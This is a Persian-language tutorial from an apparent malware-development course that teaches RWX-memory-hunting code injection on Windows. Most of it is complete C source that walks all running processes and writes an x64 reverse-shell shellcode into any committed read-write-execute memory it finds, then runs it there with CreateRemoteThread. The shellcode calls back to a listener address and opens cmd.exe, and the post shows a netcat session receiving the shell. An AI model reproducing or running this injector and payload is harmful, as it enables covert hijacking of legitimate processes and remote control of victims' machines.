تزریق کد بوسیله تکنیک RWX-Memory Hunting

نتیجه اجرای تکنیک RWX memory Hunting

RWX-Memory Hunting روشی بسیار ساده برای تزریق کد به پروسه های دیگر است . همانطور که از اسم این تکنیک بر می آید ،‌ به حافظه کل پروسه های سیستم سرک میکشیم ، به محض اینکه یک قسمت از حافظه در پروسه دیگری با حالت RWX ( قابل خواندن ، نوشتن و اجرا کردن)‌ پیدا کردیم ، یک shellcode درون آن مینویسیم و یک thread برای اجرای آن shellcode میسازیم (دقیقا کاری که در “تزریق کد کلاسیک” انجام میدادیم) .

روش پیاده سازی RWX-Memory Hunting

در پیاده سازی این تکنیک ابتدا تمام پروسه های در حال اجرای سیستم را سرشماری میکنیم (توسط تابع های CreateToolhelp32Snapshot , Process32First , Process32Next). بخش های حافظه هر کدام از پروسه های سیستم را جستوجو میکنیم تا ببینیم آیا منطقه ای با حالت RWX در آن موجود است یا نه (توسط تابع VirtualQueryEx) . اگر چنین منطقه ای پیدا کردیم ، shellcode موردنظر خود را در آن منطقه نوشته (توسط تابع WriteProcessMemory) و یک thread در پروسه مقصد میسازیم تا آن shellcode را اجرا کند (توسط تابع CreateRemoteThread) .

همانطور که اشاره شد برای جستوجو مناطق RWX از تابع VirtualQueryEx استفاده میکنیم . این تابع میتواند اطلاعاتی در مورد محدوده ای از حافظه در یک پروسه دیگر به ما بدهد . این اطلاعات شامل نوع محافظتی (Protection) آن منطقه حافظه نیز میباشد . 

الگو یا prototype تابع VirtualQueryEx در Windows API به شکل زیر است :

SIZE_T VirtualQueryEx(
  [in]           HANDLE                    hProcess,
  [in, optional] LPCVOID                   lpAddress,
  [out]          PMEMORY_BASIC_INFORMATION lpBuffer,
  [in]           SIZE_T                    dwLength
);

اولین پارامتر تابع یک handle به پروسه مقصد است که قصد بررسی نواحی حافظه آن را داریم (توسط OpenProcess بدست می آید) . دومین پارامتر تابع آدرس شروع منطقه ای از حافظه است که میخواهیم اطلاعات آن را بدست بیاوریم . 

پارامتر سوم یک اشاره گر به ساختار MEMORY_BASIC_INFORMATION است که حاوی اطلاعاتی از یک ناحیه از حافظه است . تابع VirtualQueryEx به عنوان خروجی کار ، اطلاعات حافظه مورد نظر را در این ساختار برای ما ذخیره میکند . 

نهایتا پارامتر آخر اندازه ساختاری است که اشاره گر آن را در پارامتر سوم به تابع داده ایم .

ساختار MEMORY_BASIC_INFORMATION به شکل زیر تعریف شده است :

typedef struct _MEMORY_BASIC_INFORMATION {
  PVOID  BaseAddress;
  PVOID  AllocationBase;
  DWORD  AllocationProtect;
  WORD   PartitionId;
  SIZE_T RegionSize;
  DWORD  State;
  DWORD  Protect;
  DWORD  Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

سه عضو از این ساختار برای ما مهم هستند . AllocationProtect , RegionSize و State . اولی مشخص کننده حالت محافظتی منطقه مورد نظر از حافظه است که ما به دنبال مناطقی هستیم که AllocationProtect در آن ها برابر ماکرو PAGE_EXECUTE_READWRITE باشد (همان RWX) . 

دومی مشخص کننده اندازه آن منطقه از حافظه در واحد byte است یعنی اختلاف آدرس شروع منطقه مورد نظر از حافظه ( در پارامتر دوم به VirtualQueryEx میدهیم ) تا بخش های بعدی از حافظه که ویژگی های یکسانی دارند .

نهایتا سومی یعنی State مشخص کننده وضعیت تخصیص حافظه است . میتواند یکی از مقادیر MEM_COMMIT , MEM_RESERVE و یا MEM_FREE باشد . حافظه ای که ما به دنبال آن هستیم باید MEM_COMMIT باشد . 

برای اطلاعات بیشتر در مورد تابع VirtualQueryEx و پارامتر های آن به منبع رسمی مراجعه کنید که در بخش منابع آورده شده است .

سورس کد RWX-Memory Hunting در C

#include <windows.h>
#include <tlhelp32.h>

/* x64 shell_reverse_tcp shellcode */
unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x2b\x16\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main (int argc , char ** argv){
	
	/* Create an snapshot from system processes to enumerate them */
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS , 0);
	PROCESSENTRY32 pe = { 0 };
	pe.dwSize = sizeof (pe);
	
	/* Get first process from snapshot */
	Process32First(snapshot , &pe);
	
	/* iterate over all system processes */
	do {
		/* ignore injection if process is explorer.exe or devcpp.exe , my editor 🙂 */ 
		if (0 == strcmp("explorer.exe" , &pe.szExeFile) || 
			0 == strcmp("devcpp.exe" , &pe.szExeFile)) continue ;
		
		HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS , 0 , pe.th32ProcessID);
		if (!hProcess) continue ;
		
		LPVOID offset = (LPVOID)0 ; /* lpAddress in VirtualQueryEx  */
		MEMORY_BASIC_INFORMATION meminfo = { 0 };
		
		while (VirtualQueryEx(hProcess , (LPCVOID)offset , &meminfo , sizeof (meminfo))){
		
			if (meminfo.AllocationProtect == PAGE_EXECUTE_READWRITE && 
				meminfo.State == MEM_COMMIT){	
				/* This is a RWX & Commited region 🙂 */
				/* Injecting shellcode to this region */
				printf("[+] RWX memory at %p in %s\n" ,(LPVOID)offset , &pe.szExeFile);
				
				/* Writing the shellcode to the region */
				WriteProcessMemory(hProcess , offset , shellcode , sizeof(shellcode) , 0);
				
				/* Create a remote thread to run injected shellcode */
				CreateRemoteThread(hProcess , 0 , 0 , (LPTHREAD_START_ROUTINE)offset , 0 , 
					0 , 0);
					
			}
			
			/* Updating offset to check next region of process memory */
			offset = (LPVOID)((DWORD_PTR)meminfo.BaseAddress + meminfo.RegionSize) ;
				
		}
		
		CloseHandle(hProcess);
	} while (Process32Next(snapshot , &pe));
	
	return 0x0 ;
}

بعد از اینکه در خط ۴۲ یک snapshot از پروسه های سیستم ساخته ایم ، در حلقه do-while خط ۵۰ ، تک تک پروسه های سیستم را با استفاده از OpenProcess باز میکنیم و از آدرس صفر شروع به بررسی نواحی حافظه آن ها میکنیم . به محض اینکه یک حافظه با حالت RWX که Commit شده است پیدا کردیم (شرط خط ۶۳) shellcode ر ا به آن تزریق کرده و یک thread برای اجرای shellcode میسازیم . 

دقت کنید در خط ۵۲ یک شرط اجرا کرده ایم که اگر پروسه explorer.exe یا devcpp.exe بود عملیات تزریق انجام نشود . تزریق به explorer.exe میتواند باعث ایجاد مشکلاتی شود که نیاز به restart کردن explorer.exe پیش می آید برای همین بیخیال آن شده ایم . در اینجا ، از آنجایی که از محیط توسعه devcpp.exe برای نوشتن و اجرای این کد استفاده میکردیم و تزریق به این محیط میتواند باعث crash کردن آن شود از این پروسه نیز گذشت کرده ایم :).

اجرا و تست

shellcode استفاده شده در سورس کد ما یک شل معکوس بود که به سیستم شنودگر من به آدرس 192.168.43.22 و درگاه 4444 متصل میشود . پس قبل از اجرای نسخه compile شده سورس کد ، یک شنودگر توسط netcat در سیستم شنودگر ایجاد کرده و سپس بدافزار را اجرا میکنم :

در سمت چپ تصویر کد compile شده را اجرا کرده و در سمت راست نیز شنودگر را . همانطور که نتیجه را میبینید یک دسترسی به cmd.exe در شنودگر ایجاد شده است .

منابع

VirtualQueryEx

MEMORY_BASIC_INFORMATION

OpenProcess

CreateToolhelp32Snapshot

 

این آموزش متعلق به بخش توسعه بدافزار است

برای مشاهده تمام آموزش های توسعه بدافزار وبسایت مسترپایتون به بخش توسعه بدافزار مراجعه کنید

Related posts

Don't miss reading these posts!

پیاده سازی APC Injection در C

APC Injection یکی دیگر از روش های تزریق و اجرای کد در پروسه های دیگر است . در این پست به بررسی اینکه APC در ویندوز چیست و چگونه بدافزار ها از آن برای تزریق کد استفاده میکنند میپردازیم . 

Read more

تکنیک DLL Hijacking

در این قسمت به بررسی تکنیک DLL Hijacking میپردازیم . این تکنیک برای مقاصدی مثل ماندگاری (Persistence) ، افزایش سطح دسترسی (Privilege Escalation) و یا عبور از مکانیزم های امنیتی استفاده میشود .

Read more

تزریق DLL کلاسیک (DLL Injection)

تزریق DLL یکی از تکنیک های مرسوم برای اجرای کد دلخواه هکر ، توسط پروسه های عادی سیستم است . در این تکنیک هکر یک فایل DLL مخرب که حاوی کد های دلخواه او است را ساخته و سپس این فایل را به یک پروسه عادی سیستم تزریق میکند . این باعث میشود تا کد مخرب داخل DLL توسط آن پروسه اجرا شود . برای تزریق DLL ، روش های مختلفی وجود دارد و  بوجود خواهد آمد !‌اما در این قسمت به روش کلاسیک و سنتی آن میپردازیم .

Read more

Comments

Share your comments with us

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

آواتار کاربر کاربر مهمان محمدرضا ۱۳ مهر ۱۴۰۲

عالی 🙂

حسین احمدی ۱۴ مهر ۱۴۰۲